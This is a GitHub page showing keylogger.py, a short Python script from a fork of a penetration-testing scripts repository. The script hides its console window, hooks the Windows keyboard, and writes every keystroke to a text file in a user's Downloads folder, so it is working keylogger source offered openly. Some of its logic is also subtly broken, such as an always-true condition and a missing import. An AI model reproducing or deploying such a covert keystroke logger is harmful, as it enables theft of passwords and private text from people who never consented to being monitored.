forked from ChrisTruncer/PenTestScripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.py
More file actions
33 lines (30 loc) · 909 Bytes
/
Copy pathkeylogger.py
File metadata and controls
33 lines (30 loc) · 909 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python
import win32console
import win32gui
import pythoncom
import pyHook
# This is completely based off the code at this URL (with very minor mods)
# https://github.com/blaz1988/keylogger/blob/master/keylogger.py
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
f=open('C:\Users\Christopher\Downloads\output.txt','r+')
buffer=f.read()
f.close()
f=open('C:\Users\Christopher\Downloads\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
f1 = open('C:\Users\Christopher\Downloads\output.txt', 'w')
f1.write('Incoming keys:\n')
f1.close()
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()